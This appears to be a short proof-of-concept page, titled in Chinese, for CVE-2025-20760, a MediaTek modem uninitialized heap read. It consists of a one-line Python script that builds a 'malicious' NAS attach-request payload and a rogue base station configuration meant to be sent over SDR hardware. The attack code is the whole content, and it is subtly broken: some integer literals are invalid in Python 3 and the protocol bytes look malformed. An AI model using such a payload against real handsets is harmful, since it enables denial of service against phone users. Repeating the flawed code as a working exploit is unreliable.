CVE-2025-20760 MediaTek调制解调器未初始化堆内存读取导致拒绝服务

# CVE-2025-20760 PoC - Rogue Base Station Attack # This PoC demonstrates the concept of exploiting CVE-2025-20760 # Note: This requires SDR hardware (USRP, HackRF) and open-source base station software import sys from datetime import datetime def generate_malicious_nas_message(): """ Generate malicious NAS message to trigger uninitialized heap read in MediaTek modem firmware """ # Construct malformed NAS message that triggers exception handling path nas_message = bytearray() # EMM header nas_message.extend([0xC0, 0x01]) # Protocol discriminator, EPS mobility management nas_message.extend([0x00]) # Security header type nas_message.extend([0x41]) # Attach request message type # EPS attach request with malformed IE nas_message.extend([0x02, 0x01, 0x01]) # EPS attach type nas_message.extend([0x0E, 0xC0]) # NAS key set identifier # Trigger condition for the vulnerability # Sending message with invalid EPS mobile identity format nas_message.extend([0xF0, 0x00, 0x00, 0x00, 0x00]) return nas_message def setup_rogue_base_station(): """ Setup rogue base station using open-source software like OpenBTS, srsRAN, or OAI """ print("[*] Setting up rogue base station for CVE-2025-20760 exploitation") print("[*] Target: MediaTek modem with uninitialized heap read vulnerability") print("[*] Attack vector: Malicious NAS/RRC message via rogue base station") # Configuration for rogue base station config = { 'earfcn': 1850, # Frequency configuration 'mcc': 001, # Mobile country code 'mnc': 01, # Mobile network code 'tac': 0x0001, # Tracking area code 'cell_id': 0x00000001 } return config def exploit_vulnerability(): """ Execute the exploit by sending crafted messages to trigger the vulnerability """ print("[*] Initiating exploitation of CVE-2025-20760") print("[*] Sending malicious NAS message...") malicious_msg = generate_malicious_nas_message() print(f"[*] Payload length: {len(malicious_msg)} bytes") print(f"[*] Payload hex: {malicious_msg.hex()}") # In real scenario, this would be transmitted via SDR print("[!] Note: This PoC requires legal authorization and SDR hardware") print("[!] Responsible disclosure guidelines must be followed") if __name__ == "__main__": print("CVE-2025-20760 PoC - MediaTek Modem Uninitialized Heap Read") print("=" * 60) setup_rogue_base_station() exploit_vulnerability()